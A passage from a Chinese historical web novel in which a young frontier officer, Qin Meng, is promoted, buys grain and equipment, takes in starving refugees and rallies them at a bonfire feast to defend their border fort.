他声音低沉,自带一股不容置疑的铁血威严。他话锋一转,目光扫过众人:“诸位久居附寨,可知近日寨外洼区**了多少流民?”
喧闹的宴厅瞬间安静下来。
粮商脸上的笑容僵住,税吏低头捻着胡须,行会头领眼神闪烁。
魏文将玉核桃重重搁在案上,沉声道:“**劫掠村坊,百姓无家可归才来投奔城寨。
如今寒冬腊月,监镇官不肯放粮,商船少了,他们在洼区冻饿交加,昨日已冻死三个孩童。”
他声音陡然拔高,“诸位都是体面人,读书人。流民亦是陛下赤子,也是我大周的百姓。寨墙之内歌舞升平,寨墙之外饿殍渐生,你们忍心?”
粮商搓着手讪笑:“将军说笑了,我等小本生意,哪有多余钱粮……”
“哎,李老板上个月刚从西域运回三船粮食。
税吏大人库房里的存粮怕是够吃三年五载。
至于各位世家子,谁家没有几顷良田、产业?”
魏文目光如刀,一一扫过众人,“我知诸位怕监镇官问责,但流民若冻毙过多,开春必生疫病,到时候附寨生意受影响,谁能独善其身?”
他起身走到水榭边,指向窗外黑暗:“我魏文是武将,不懂你们的算计,但我知道守城先守民。
今日请诸位来,不求你们倾家荡产,只求匀出些粮米棉衣,让那些百姓能熬过这个冬天。”
说罢,他竟对着众人微微拱手,“魏文代流民谢过诸位。”
这一揖让众人慌了神。粮商额头冒汗,世家子们面面相觑。税吏干笑两声:“将军言重了,我等身为城寨基石,为百姓分忧是应当的……”
魏文直起身,眼神锐利如锋:“好,诸位有心便好,明日起,烦请李老板调十船糙米,税吏大人开放空置粮仓,行会组织工匠修补窝棚。
所需费用,待开春我自会向帅司、幽州府报备,若府衙不给说法,魏文这正将军的俸禄,先垫给诸位。”
他语气平淡,却带着不容置疑的决心。
宴厅内的灯火仿佛被寒风穿透,众人看着这位身着旧袍的将军,忽然自惭形秽,觉得那画舫里的葡萄酒远不如寨外流民眼中的微光滚烫。
第10章 军令落,大采买
南河城寨的议事厅内,烛火在铜制灯盏里跳跃,将魏文棱角分明的脸庞映照得忽明忽暗。
这位知寨官眼角余光看着这个年轻人,目光从他刚毅的面容滑到腰间那柄缠着麻绳的长刀。
这柄刀是秦猛父亲的遗物之一。
他忽然想起二十年前,自己还是个队将之时,老秦曾背着重伤的他在雪地里走了三十里。
血腥味引来狼群,是秦武背着他一路逃出来……
这一刻,魏文仿佛看到好友的影子。
“哎,老伙计。”他记忆纷至沓来,心中长叹。
他将城寨签发的临时任命书重重拍在案几上,纸页翻动的声响在寂静的厅堂里格外清晰。
“秦猛接令!”
魏文面无表情,声音带着边疆风霜磨砺出的沙哑,却字字如金石落地。
“末将在!”秦猛跨步上前,单膝跪地时铁甲与青石地面碰撞出沉闷的脆响,双手高举过顶。
“你比你爹优秀,好好干。”魏文盯着魁梧高大的秦猛,一边叮嘱一边将任命书放到他手上。
“好。”秦猛重重回应,托住那张泛黄的麻纸:“末将秦猛,谢知寨大人栽培,定恪尽职守。”
“起来吧。”魏文的语气缓和了些。指节叩了叩案几上的另一张批条:“军需处的五十套铁鳞甲,优先给你带的老兵换,另有其他装备。”
他又转向秦大壮:“大壮,你在河口守卫十余年,劳苦功高。
即日起,升任小南河堡队将,辅佐秦猛镇守河口。”
大周王朝边疆各军实行将兵法。
分为主将,偏将,正将,部将,队将五个级别。
队将虽只是末流,仅统辖数十人,却已是正九品武官,官职再小,也是官,也是有俸禄的。
秦大壮正为秦猛升职高兴高兴,搓着布满老茧的手在一旁憨笑。这位在南河口守了十多年的老兵,鬓角一撮白发在烛光下格外显眼。
听到自己升任队将的消息时,他瞪眼呆愣当场。是秦猛实在看不下去,戳了他腰眼一下。
秦大壮回过神,通红的眼眶里滚出的泪珠砸在胸前的旧铁甲上,晕开一小片深色的水渍。
他激动得跪地谢恩:“卑职谢…谢将军提拔。”
“行了行了,瞧你那点出息。”魏文是哭笑不得。
秦大壮接过任命文书,起身之后,郑重地叠好放入怀中。他见秦猛使眼色,按计划行事。
秦大壮喜色被哭丧取代,忙按约定将巡检司拦路抢功、诬陷通敌、被秦猛反杀之事详细禀报。
末了——
“魏大人!”秦大壮突然扑通跪下,膝盖砸在地上的声响让秦猛心头一紧,谁说老实人不会演戏?
“猛子杀巡检那事,真不是故意的,是个误会。那些人屡次拔刀,伤人在先,抢首级时喊着要把我们绑去青阳县问斩,说边军通敌......”
“闭嘴!”魏文猛地一拍桌子,案几上的砚台都跳了起来。
他豁然起身,腰间佩剑的彩穗子无风自动,“青阳县那帮杂碎!
去年冬天就敢扣我们边军的冬衣,今年开春抢田,入冬又来抢军功?真当边防帅司是摆设?”
烛火被他带起的风搅得剧烈摇晃。
秦猛看见魏文紧握剑柄的指节泛白,指缝间露出的虎口有一道深可见骨的旧伤——那是这位将军年轻时,与**主力血战留下的印记。
“杀得好。”魏文突然松开手,语气里的寒意却更甚,“军功是边军的命根子,谁动谁死。
别说他一个九品巡检,就是县令来了,敢抢老子麾下将士的功劳,照样得竖着来,躺着出去!”
秦猛心头一暖,正欲开口,却见魏文眼神陡然锐利如刀:“不过,你小子胆子也太大了。
一个小卒子就敢斩杀这巡检使臣,可知斩杀朝廷命官按律当斩?若不是看在你爹的面子......”
“知寨明鉴!”秦猛立刻躬身,声音带着恰到好处的懊恼,“当时,那些人举着刀冲过来。
弟兄们刚从**堆里爬出来,见他们伤人在先,抢首级还骂我们是汉奸,一时血气上头......”
他故意顿了顿,抬手抹了把脸,“若是知道是巡检大人,给末将一百个胆子,也不敢啊!”
魏文盯着他看了半晌,突然哈哈大笑:“你这小滑头,头脑活络,比你爹会说话多了。”
“到此为止,巡检司之事,无需担忧,你们安心上任。
帅司正式任命与朝廷告身,衣赐,后续会有人送至军堡。”
说话间,魏文将两本巴掌大的册子扔过来:“这是军械库和粮仓的临时调令,赶紧去领了回堡。
冬季**狗最是猖獗,白天都有可能来犯。别让老子刚给你的官印,转头就被人摘了去。”
“是!”
魏文又板着脸,叮嘱两人勤勉,不可怠慢防务。而秦猛也趁机提及招募人手,回堡建设等。
出了戒备森严的内寨,秦大壮后背的冷汗已浸透了衣甲,冷风一吹激起层叠鸡皮疙瘩。
他哆嗦着裹紧衣领,心有余悸地抹了把额头:“猛子,刚才魏大人那眼神,差点把我魂吓飞了。”
秦猛将批条小心翼翼地折好揣进怀里,笑道:“别怕,军队就是这样,崇尚强者,只认军功和血性。咱们杀**保家卫国,没做错事。”
“你呀!”秦大壮攥着拳头,猛拍秦猛后背:“猛子!你跟魏将军顶嘴,我心都提到嗓子眼了!
这胆大的捅破天。
不过,你真有能耐,干得漂亮!”
秦猛嘴角噙着丝若有若无的笑意,目光却早已越过寨墙望向小南河堡的方向:“当务之急是领装备、招人手。咱们的边堡,得让它真正‘活’过来。”
城寨军需处的木门吱呀作响,主事的干瘦老吏正扒拉着账簿,算盘珠子打得噼啪作响。
他见秦猛递来魏文亲签的批条,眯起精明的三角眼打量这位年轻管队官。
——明明年纪轻轻,眉宇间那股杀伐淬炼出的压迫感却比老兵还重,绝非普通军官可比拟。
老吏立刻收起惯常的油滑,借着窗棂透进的微光核对批条,当看到“铁鳞甲五十套”几个字时。
他突然抬起头,浑浊的眼睛在秦猛身上转了一圈:“秦管队年纪轻轻就立此大功,后生可畏啊!”
“老先生谬赞,无非是身强力壮,能杀**。”
秦猛也没有摆架子,笑呵
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呵地回应着。
后世社会摸爬滚打的他,深知阎王好惹,小鬼难缠。侧身挡住视线,丢出二两散碎银子。
老库吏接过银锭放入袖袋里,笑得更亲切:“批条无误,秦管队稍候,这就给您点验物资。”
秦猛没接话,只是看着军卒们将物资搬上马车。
五十套边军制式铁鳞轻甲、一百套犀牛皮甲,百张硬木弓、各配着两壶羽箭(一壶透甲锥箭闪着寒光),再加上百柄锋锐长刀、几十杆**......
装备刚搬上车,车厢就已堆得冒尖。
更让秦大壮眼热的是,这次军堡的军粮也一块发了。
麻袋里的粟米、豆子颗粒饱满——百余石粮食,这是能让堡民熬过寒冬的底气!
“秋后要了两次,没有……”秦大壮疑惑地嘟囔。
“那是你方法不对。”秦猛笑了笑。
他又补充道:“装备和粮食不够,这才只是开始。”
早在领功时,他已暗中嘱咐张富贵、李山等心腹去附寨扫货。粮食、盐巴、酱醋,还有能过冬的棉衣,越多越好,见着就买,预定,别心疼钱。
……
附寨的市集喧闹如潮,张屠户掂着沉甸甸的钱袋,在摊前豪气地挥手:“这些山货全要了。”
在店家装货的时候,他目光死死锁定几头大肥猪。
李山则钻进杂货铺,把货架上的粗盐整箱搬空。搞得街上商铺掌柜都知道来了一群豪客。
附寨最大的常氏粮行,人来人往,算盘声隔着门板都能听见。
身宽体胖的掌柜常九正对着算盘眉开眼笑,见秦猛进来立刻堆起满脸肥肉:“这位爷要多少粮?”
秦猛反手带上门,从怀中掏出千两面额的银票拍在桌上,薄薄纸张轻飘却压得桌面微颤。
“常掌柜,五千石粮,分批送抵小南河堡。这是定金,要做长期买卖,就得守规矩——本官的军堡嘴严,你的车队也得像吃了哑巴药。”
常九看到秦猛掏出的千两银票时,肥厚的脸颊肉抖了三抖。
他那双绿豆眼死死盯着薄薄的纸片,仿佛要看出个窟窿来:“秦管队放心,区区五千石粮,小事一桩。
白天一趟,今夜再发车,走后山小道,保证不惊动任何人。”
大周王朝,一石粮约一百二十斤,当前市价一贯钱。而银子购买力更强,一两银子购买两三石粮食。而这桩大买卖够他清空积压的粮秣。
秦猛看着他油腻的手指在银票上反复摩挲,突然开口:“常掌柜,秦某要的不只是粮食。
开春后我要开荒,需要种子;筑堡需要石灰、木料;伤兵需要药材——这些你都能弄到吗?”
常九的眼睛更亮了,肥厚的嘴唇咧到耳根:“能!怎么不能?只要秦管队信得过俺粮行。
别说种子,药材这些,就是你要铁料、**,甚至是武器装备,我都有门路给贵堡弄来!”
走出粮行暖阁时,寒风吹来,他紧了紧腰刀,转身走向另外几家粮铺,批量购粮,种子等。毕竟这种关乎肚皮的大事,多有门路没坏处。
只要撒钱,岂能有办不好的事?
秦猛附寨边缘的“泥窝子”,那里,还等着他主持。
第11章 粮甲入堡流民聚
流民**的“泥窝子”正被绝望笼罩!
寒风比别处更烈,像无数把小刀子,专往骨头缝里钻。
朽木搭成的棚子在风中摇摇晃晃,苇草编成的墙壁早已被雨水霜露泡透,冻得硬邦邦的。
一个裹着破麻袋的孩子蜷缩在墙角,冻得发紫的小脚露在外面,靠着哈气取暖,瑟瑟发抖。
饿殍般的流民缩在棚里,连哭嚎的力气都没有。
据了解到的信息,他们多是被**越境烧了家园的边民,逃难至此。
城寨附近已经没有军田分配,安置。
这些难民靠挑夫做零工而艰难活着。入冬了,南运河即将封冻,装卸船少了,流民更难了。
突然,三口巨大的铁锅被木桩架起,柴火噼啪作响,粟米下锅后的“咕嘟”翻滚声穿透死寂。
“军堡秦大人开恩,招募壮士喽!”
李山敲响的铜锣声像一道惊雷,劈开了这片死寂。
他身边的三个军卒举着火把,跳动的火光照亮了“招壮士”的木牌,也照亮了一张张灰败的脸。
“管三餐饱饭,月钱一贯!”
李山的嗓子喊得发哑,却依旧中气十足:“会打铁的、会烧砖的、会算账的——秦管队都要。”
“敢杀**者,安家钱十贯,分田地、发棉衣。建堡开荒,男女皆可,开春了,分田优先!”
吆喝声一遍又一遍,随着浓郁的粥香吹入窝棚区。
第一个反应过来的是个断了半截手指的汉子。从苇棚里爬出来时,膝盖在冻土上磕出重重的响声。
他枯瘦的手指死死攥着一块生锈的铁砧碎片:“我是并州匠器坊的铁匠,能打刀,会修甲!”
他张开嘴,露出缺了两颗牙的牙床,声音嘶哑却带着决绝:“只要有饭吃,我能打造军器。”
“我会烧砖瓦!”一个瘸腿的老头拄着木棍挪过来,破棉袄下露出嶙峋的肋骨:“青州官窑的老把式,烧的砖能挡箭!”
“我…我会看病。”一个穿着破烂儒衫的年轻人抱着药箱挤上前,冻裂的嘴唇渗着血珠,“我祖上是太医院的医官,我会治刀伤箭伤。”
“大人,我是木匠……”
“算我一个,我愿意从军杀**!”
……
呼喊声此起彼伏,人群像解冻的河流般涌动起来。
曾经麻木的眼睛里燃起微光,干瘪的嘴唇翕动着,吐出积压已久的渴望。
他们从各个角落涌出来。
有的拄着拐杖,有的抱着孩子,也有的背着奄奄一息的亲人,朝着铁锅的方向挪动脚步。
秦猛站在土坡上看着这潮水般的人群。他们的衣衫比最破的麻袋还要褴褛,头发纠结如枯草,脸上积着的污垢发黑,能刮下一层泥。
但当他们抬起头时,秦猛看到了藏在污垢下的倔强,看到了被苦难、寒冷淬炼出的坚韧。
——应该是信念支撑他们撑到今天。
“都排好队!”秦猛的声音低沉,带着不容置疑的力量。
“男丁去左边登记,会手艺的优先;妇孺去右边领热粥,孩子先喝。”
他的目光突然落在一个护着妹妹的书生身上。那书生穿着洗得发白的蓝布长衫,袖口磨得露出了棉絮,在寒风中却依旧努力挺直腰板。
妹妹的小脸冻得通红,缩在哥哥怀里,大眼睛怯生生地望着铁锅,长长的睫毛上挂着冰珠。
“你会什么?”秦猛走过去问。
书生吓了一跳,连忙将妹妹护得更紧:“我、我会算账,会写字,还会教孩子读书。”
他的声音细若蚊蚋,却带着文人的倔强和勇气:“求大人收留我们,我妹妹快饿**......”
秦猛突然想起自家妹子小芸,也是这样维护自己的。从怀里掏出剩下的肉饼递过去。
那是陈月娘早上塞给他的,还残留着余温。小女孩的眼睛瞬间亮了,却不敢伸手,只是眼巴巴地看着哥哥。
“拿着吧。”秦猛的声音软了些:“去登记,就说你是我推荐的管队幕僚,以后教军汉们识字。”
“管队幕僚?”书生愣了愣,突然“扑通”跪下,拉着妹妹一起磕头:“谢大人,谢秦大人收留。”
“我诸葛风誓不忘大人活命之恩。”
书生额头磕在冻土上,发出沉闷的响声。
“呃…诸葛?”秦猛眼皮一跳,他忽地想到蜀汉丞相诸葛亮,那可是华夏三国乱世中的牛人。
诸葛,是聪明的代名词!
希望这个异界诸葛,也有几把刷子。
秦猛上前将兄妹俩搀扶。好人做到底,亲自带着他俩去登记,又唤军汉送来满满两碗浓粥。
泥窝子外面,队伍已经排得望不到头。
粮车的轱辘声、壮汉的吆喝声,工匠的自吹声,孩子的笑声混杂在一起,却奇异地透着一股生机。
秦大壮拿着名册挨个登记,粗糙的手指在纸上歪歪扭扭地画着记号,哈出的白气模糊了视线。
吃了两大碗粥的诸葛风目睹,自告奋勇地帮忙。
秦大壮得以脱身,凑到秦猛身边,声音里带着担忧:“猛子,孩子不算,都快两百人了。”
“人多了,军堡住不下呀!”
秦猛望着渐起的炊烟,眼神坚定,笃定地说道:“再收纳百八十人,房子不够,就盖新的,这种绝境中活下来的人,最适合融入军堡。”
“好吧!”秦大壮咬出了牙花子。
李山,张富贵带队维持治安,并初步筛选确认匠人的手艺,讲解小南河堡的地理位置。
——时刻面临着**袭扰,不想去的绝不强留。
……
午后的驿道上,一支奇特的队伍正缓缓前行。最前是秦猛亲率的堡兵,铁甲在阳光下闪着冷光。
中间是满载粮食和物资的大车,共计30辆大车,车轮碾过冻土的声响在荒野格外清晰。
最后是扶老携幼的流民,脚步踉跄却坚定,像一条在寒风中蠕动的长蛇,朝着希望的方向延伸。
一个抱着孩子的妇人突然停住脚步,回头望向城寨的方向。
那里曾是他们的绝望之地,如今却被远远抛在身后。
她的丈夫在半个月前冻死在城墙根下,临死前,手里还攥着一块希望能换半个窝头的破布。
“娘,我们去哪?”孩子揉着惺忪的睡眼,小脑袋在母亲怀里蹭了蹭。
妇人擦了擦眼角的泪,声音带着前所未有的坚定:“我们去新家,去能吃饱饭、能活下去的地方。”
“猛子,这数百张嘴,每人一
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天最少两斤粮。”秦大壮看着流民队伍,眉头拧成了疙瘩。
“堡里存粮加新领的军粮,满打满算,顶多撑一个月。”
秦猛闻言侧过脸,露出笃定的笑:“不用担心,粮食不会缺。回堡之后,你和王老保长只管安顿好这些人,稳住人心,其他的交给我。”
“后面车队不是运了上千石粮食么?”他目光投向远方隐现的南河堡轮廓,声音低沉却斩钉截铁。
从刘家搜刮的黄金八百多两,白银过万两,金银器皿堆积,以及三万多两银票是他底气所在!
“哦,你买粮的钱哪来的?”秦大壮后知后觉。
“魏将军私下给的,说是我父亲生前寄存之物。”秦猛脸颊抽搐几下,随便找理由敷衍。
“是这样?”秦大壮发愣,挠了挠头。
……
秦大壮早就派人快马回到居民堡,清扫粮仓。
黄昏时分,队伍出现在铺堡视野中时,箭楼号角响起。
堡民们纷纷涌至堡门口,整个边堡炸开了锅!
“哎哟,那不是猛子哥吗?”
“他身后,怎地跟着这么多大车?”
“听说了吗?二愣子成管队官了,杀**升的官!”
昔日被孩子追着喊“二愣子”的憨娃,如今成了手握实权的军官。
堡民们扒着寨墙,敬畏、疑惑、狂喜在脸上交织。
有上了年纪的老**笑,甚至有人对着队伍磕头:“秦家的天罡虎气重现,要护着咱们了。”
在堡民议论声中,秦猛勒住马缰,看着一张张熟悉的面孔。
张富贵的婆娘带着仨孩子在等。
隔壁王婶,杂货铺刘婆子踮着脚张望。
陈月娘和秦小芸站在人群靠前的位置,当看到秦猛时,陈月娘的肩膀轻轻颤抖了一下,
秦小芸则兴奋地挥起手,喊着:“哥,哥,我们在这!”
“乡亲们。”秦大壮拍马上前,扯开嗓子大声吆喝:“蒙魏将军重视,小南河堡重新设立管队官。猛子,不,秦管队上任,大伙欢迎呐!”
“嗷……”堡民们沸腾了,欢欣鼓舞。
秦猛挥手,与乡亲们示意,下令打开粮仓。青壮汉子蜂拥而出,扛着麻袋把粮食送入堡仓。
村堡管理户籍的老保长王槐看着粮车进仓,浑浊的眼睛亮得惊人,山羊胡须一翘一翘的。
“好,好啊!咱小南河堡户数总算有了盼头。快,把空着的铺屋腾出来,先给匠人及妇孺住!”
老保长的激动是发自肺腑的。
小南河堡是南河城寨最早的军堡,称为本堡。以前也曾风光过,人口过千,设堡主及衙署。
自从两年前,大队**骤然来袭。
小南河堡两百户人家十不存二三,至今还未恢复。
人数少,军堡防御力量薄弱,容易在劫掠中被摧毁。流民涌入,人口得到补充,何等重要?
“兵丁去营房,劳力打地铺凑合,多余棉被拿来暂用,妇人生火熬粥,都别愣着,快去啊!”王保长看向堡民们,几乎是吼出来的。
流民们看着眼前的景象,脚步不由地加快了。
他们能感受南河堡民的善意,能闻到空气中飘来的饭香,能体会到那种久违的、名为“家”的暖意。
第12章 篝火与新生
夜幕沉沉压下,南河堡的打谷场上。
几堆篝火“噼啪”作响,奋力驱散着冬夜的寒意。
跳跃的火焰,映亮了围聚在旁的数百张脸庞——焦黄、枯瘦、深陷的眼窝里满是对生存的渴望。
里口行军大锅架在火堆上,锅盖压抑不住“咕嘟咕嘟”的沸腾声。
浓稠的汤水中,大块油亮的肥猪肉载沉载浮,油脂翻滚,喷涌出令人几欲疯狂的霸道香气。
竹叉上串着的肉条被火焰舔舐得焦黄冒油。
“滋啦——滋啦——”,
油脂滴落火中,腾起的青烟都带着令人窒息的美味。
孩子们紧紧攥着豁口的破陶碗,小脸和鼻尖冻得通红,双眼却像被钉死在那翻滚的肉块上,喉头不断滚动,清亮的口水无声地淌过下巴。
秦猛一脚踏上冰冷的石碾。篝火将他魁梧的身影猛地拉长,投在躁动的人群之上,宛如一尊铁铸的战神。
他声音不高,却像浸了冰渣的铁砣,字字砸向场中:“排好队,不要争抢。今晚是给你们的接风宴,人人有份,每人半碗肉,稠粥管够!”
人群瞬间嗡动,有人不自觉往前挤。
“放肆!”秦猛眼神陡然一厉,如同冰锥,手指狠狠戳向堡墙外吞噬一切的黑暗深渊。
“谁敢拥挤、插队、哄抢,坏了堡里的铁规——立刻,滚出去!”
冰冷的咆哮,伴随李山、张富贵等军汉轰然踏步上前的铁甲碰撞声,如同重锤砸在所有人心上。
刚刚升起的骚动戛然而止。
流民们惊恐地攥紧碗筷,大气不敢出。几个孩子吓得缩进母亲怀里,抽噎声都被死死捂住。
秦猛冷冷扫过噤若寒蝉的人群。
他打完了棍子,甜枣紧接着抛下:“安分守己,踏实干活,秦某保你们吃饱穿暖,活下去。
三天后,养好身体吃干饭,干得好,立了功。
——有肉,有粮,更有银钱犒赏。”
“秦大人活命之恩,谢大人再造之恩!”
流民中,书生诸葛风激动的声音发颤,率先高呼。
人群仿佛被点醒,不少人拜倒在地,感激涕零的呼喊此起彼伏,声浪甚至压过了篝火的燃烧。
“不许跪!”秦猛断喝,满意挥手:“都起来,排队!”
饥肠辘辘的人群爆发出难以置信的克制力,迅速排成长龙。堡中妇人持勺吆喝,热情中带着自豪。
秦猛站在高处,看着一张张排队领食的脸庞。疲惫、茫然甚至恐惧犹存,但嗅着那直冲灵魂的肉香,每个人眼底深处,都燃起微弱却灼热的火苗。
一个衣衫褴褛,十来岁的男孩夹杂在队伍中。
他怀里一直揣着母亲临终前塞给他的半截干硬的麦糠饼。可此刻那块黑饼早被忘在脑后。
男孩眼睛直勾勾盯着打饭妇人舀起的每一勺肉。
他叫石头,手中的陶碗边缘豁了个三角口,却被他攥得发热,妇人见他小,多打了不少肉。
这是石头三天来第一次捧到温热的东西——粗瓷碗中有大半碗炖肉,米粥稠得能立住筷子。
热气蒸腾着扑在他冻得通红的小脸上,湿了眼眶。
五岁那年,父亲被拉去打**的那天也是这样冷的冬天,临走前塞给他的馒头还冒着热气。
母亲操劳过度,咳着血躺在床上时,总是安慰他说“等秋天就有新米了“,可她始终没等到。
“娘…娘,你多撑几天就能活。”石头热泪盈眶。
现在瓷碗烫得灼手,他鼓起冻得发僵的腮帮子拼命吹气,呼出的白气混着肉香飘进鼻腔。
他小心翼翼啜了一小口,滚烫的米粥滑过喉咙,带着猪油的荤香和米粒的清甜在舌尖炸开。
这味道让他想起父亲做的肉粥,想起母亲用粗布巾擦他嘴角的温度。
烫意模糊了视线。
可石头嘴角却忍不住咧开。
他赶紧用脏兮兮的手背抹了把脸,把快要掉下来的泪珠蹭在袖口上,然后捧着碗蹲在篝火边,小口小口地喝着,每一口都舍不得咽下。
碗中的肉块他要留到最后,就像母亲教他的那样,把最好的留到最后慢慢吃。其实是小男孩想念着母亲,想把碗里的炖肉分给她吃……
范良的手抖得厉害,竹筷夹着一块五花肉在碗里晃悠,油星子滴在粥面上晕开小小的圈。
他盯着那块肥瘦相间的肉,喉头滚动了两下,喉结像生锈的铁环般艰难滑动。
这油汪汪的样子,让他想起前年在花炮作坊时,监工奖赏的那碗红烧肉。
——那时他还是作坊里最抢手的花炮师傅,制作出来的烟花最是绚丽,送到京城最抢手。
可他性格使然,太犟了。
监工要他偷工减料用劣质硝石制炮。
他梗着脖子说“炮炸了要**“,坚决不做那种事,吵到最后,被架着扔出了作坊。
夏收时节**踏平集镇的那天,他正挑着工具箱找活计,马蹄声震碎了瓦檐,也震碎了他最后的念想。
逃亡路上,他把工具箱当了换干粮,把棉袄扒了换活命的水,一路靠挖野菜、啃树皮活到现在。
五花肉终于送进嘴里,牙齿刚碰到油脂,那熟悉的肥美就在舌尖炸开。是肉香,是烟火气,是安稳日子里才有的味道。
这味道让他想起作坊里的硝烟味,想起妻子用围裙擦他手上油污的柔软触感,也想起大队**兵过后,从捣毁的小镇上找到妻子的尸体……
“呜呜……”
范良干涩的眼眶突然一热,浑浊的泪水毫无预兆地涌出来,顺着布满沟壑的脸颊滚进碗里。
他赶紧低下头,借着喝粥的动作把哽咽咽下去,任由泪水滴落不擦拭,混着米粥一起咽下。
这口肉,是他逃亡路上第一次尝到的荤腥,也是他以为再也尝不到的、婆娘做出的滋味……
南河城寨泥窝子,凡是从边陲军堡,村坊逃出来的,哪一个不是与草原**有着血海深仇。
这一顿有滋有味的肉菜,让许多人想起了家和亲人。
往事历历在目,人人红了眼眶,潸然泪下。
“谢…谢大人赏饭!”数百个喉咙哽咽着,粗瓷大碗被紧紧抱在怀里,像是抱着重获生
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命的凭证。
他们仰望着石碾上那个身影,目光中饱含着无以言表的感激,是这位大人给了他们新生。
秦猛感受着这份沉甸甸的依赖,无声地点点头。
乱世之中,一饭之恩,足以换来比黄金更重的忠诚。
篝火旁,陈月娘和秦小芸带着堡里的妇人忙碌地翻烤着肉串。火光跳跃,映红了她俩的脸。
周围的妇人们早已聚拢过来,目光粘在两人身上,话题全绕着秦猛和这姐妹俩,羡慕几乎要溢出眼眶。
“月娘啊,猛哥儿如今是官身了,这婚事可得快着点!”
“可不是嘛!这般英武能干的后生,祖坟都得冒青烟才能撞上!”
“开春儿,让老保长去说合,定要八抬大轿,风风光光地迎你进门……”
陈月娘恍若未闻,痴痴的目光穿过跳跃的篝火,落在那个熟悉却又陌生的挺拔背影上。
火光为他冷硬的铁甲染成金色,昔日憨实沉默的少年郎,如今已是手握生杀、统领一堡的男儿汉。
她手指无意识绞紧了衣角,脸颊滚烫。
秦小芸兴奋地拉着她的胳膊晃:“姐,看见没?哥多威风。以后啊,咱们再不用怕那些坏人了!”
“嗯…”陈月娘低应一声,目光始终无法移开。
幼时秦猛虽憨傻,却怕她吃不饱,总偷偷塞来饼子,**袭来时!他挡在身前的宽厚脊背……
一幕幕在眼前交织。
他变了,如同脱胎换骨般。带着粮食,带着刀枪,带着在这荒凉边地重建家园、抵御强敌的力量。
秦猛仿佛感受到了那道炽热的目光,蓦地回头。
彼此目光相遇的刹那!
陈月娘回过神来,如受惊的小鹿慌忙垂首,一张脸红到了耳朵根,心脏擂鼓般撞击着胸腔。
秦猛嘴角不易察觉地柔和了一瞬,随即又化作肃然。
“哎哟,小芸丫头,瞅你这瘦的!明个儿婶子给你炖只老母鸡补补!”
王婶子一把拉过秦小芸的手,稀罕地摩挲着。
她转头又殷切地看向陈月娘:“月娘啊,给猛哥儿透个话儿……俺那两个娘家侄儿,身板结实着呢,想投军……求管队官多照应……”
旁边开着杂货铺的刘婆子也凑上来。
一反平日斤斤计较的刻薄,她如变戏法似的掏出两小盒胭脂水粉塞给秦小芸和陈月娘。
“乖乖!瞧这姐妹俩水灵的,姐姐天生就是官夫人的贵气相,清水芙蓉,也需细柳扶风。
妹妹这眉眼啊,长开了定是个大美人。该用好东西,可别委屈咯!”
周遭妇人婆子连声附和:“就是,月娘啊,苦日子熬到头喽!猛哥儿有本事,说不准这堡主大印也……”
陈月娘脸颊更红,心乱如麻,却也有股暖流在心头涌动。
夜色更深,篝火却越燃越旺。
铁锅里肉汤的翻滚声,烤肉的滋滋声,米粥的浓稠热气。
孩子们咬着滚烫肉块的“嘶哈”满足声,男人低声议论的嗡嗡声,妇人们细碎的笑语声交织缠绕,在这片刚刚从死寂中复苏的土地上。
第13章 铁血聚人心
“铛——!”李山猛地敲响铜锣,声震四野。
“诸位安静,秦管队有话要说!”
喧闹瞬间凝固,篝火燃烧的“噼啪”声再次成为主角。
“都听好了!”秦猛放下碗,再次跃上石碾。
他需要趁热打铁,将这股滔**火和刚刚燃起的微薄希望,用规矩锻造成可以依靠的力量。
火光照亮秦猛坚毅的脸庞,声音带着金属碰撞的铮铮锐响:
“从今日起,尔等姓名登籍造册,便是我南河堡之民。
守土杀**,安防戍边,人人有责。
拓荒耕种,分田安家,人人有份!
“本官不问过往,但入我堡门,便需遵我堡规。”秦猛深吸一口凛冽刺骨的寒气,话语一转。
他那如刀锋般锐利的目光缓缓扫过场下每一张脸,从狂热的青壮,到好奇的妇孺,再到犹疑的老人。
铁律三点:令出必行,生死与共,对敌须狠。可曾听清?”最后四字如惊雷炸响,撕裂寒夜。
“听清了!”场下爆发出参差不齐却竭尽全力的吼声。
“好!”秦猛右臂猛然高扬,戟指北方幽暗的界河方向,声震四野:
“界河之北,便是毁我家园、杀我父母、辱我姊妹的草原豺狼。
吾等流落至此,谁人不是血仇在身?
堡中乡亲,哪一家不是血泪斑斑,仇深似海?”
“嗡——”人群死寂被瞬间打破。
压抑的呜咽、悲愤的低泣声如潮泛起。
张富贵双目赤红如血,双拳捏得咯咯作响,老父死于马蹄的惨景历历在目。
李铁匠咬碎钢牙,王婶泪眼模糊,幼子被劈成两半的噩梦再次撕裂心扉。
无数道目光喷射出刻骨恨火。
秦猛的声音如同淬火的战锤,重重擂在每个人心上:“记住!人善被人欺,马善被人骑——
对豺狼施仁义,便是对至亲的残忍。
**死性不改,磨刀霍霍,冬季随时会越境袭骚。
想活?想复仇?”他声如裂帛,“那就挺直脊梁,握紧手中刀枪,与身边袍泽,结为一体——”
他话音未落,张富贵、李铁匠的狂吼已如火山喷发。
“杀敌杀**,护我家园!”
“杀,杀**,护我家园!”
数百个喉咙迸发出带着血腥味的狂啸,吼声撕裂寒夜。震得篝火疯狂摇曳,火星冲天而起。
秦猛立于石碾之上,身姿如枪。篝火的烈焰映红了他冷硬的面庞,也点燃了数百双绝望眼中复仇的火焰。
人群的怒吼仿佛唤醒了这座伤痕累累的堡垒。
小南河堡沧桑的轮廓在冲天的火光与呐喊中,如同一头沉寂已久的猛兽,朝着北方无边的黑暗,发出了它倔强而凶悍的第一声咆哮!
不远处的界河,水声隆隆,奔腾不息,似在呼应着这片饱经摧残的土地上,那重新燃起的、不屈的生命之火。
篝火灼灼,群情激荡。
怒吼声在打谷场上空久久回荡。
每一声“杀**,护我家园!”都像滚烫的烙印,狠狠砸进在场所有人的身体里、灵魂深处。
吼声暂时停歇,只有粗重的喘息和篝火的噼啪声交织,空气中弥漫着一种近乎燃烧的狂热气场。
协助登记户籍造册的诸葛风,此刻笔尖微顿,抬头望着火光中如同礁石般屹立的秦猛,又环视周围一张张因仇恨和希望而扭曲变形的脸庞。
他心中暗叹:“大周建国至今,承平日久,文恬武嬉,繁华尽被朱门歌舞掩。
唯有这边陲炼狱之地,方知民气如薪,血性未死。圣贤之道,仁义之说,于此地……不抵刀锋半分!”
诸葛风家逢巨变,流离千里,携妹北上投军。北境惨状已将他昔日的书生意气碾得粉碎。
此刻,这震天的杀声,反而让他感到一种扭曲的安心。
在这边陲之地,靠耍嘴皮子,扯知乎者也可打退不了**。唯有杀戮,才能争一条生路!
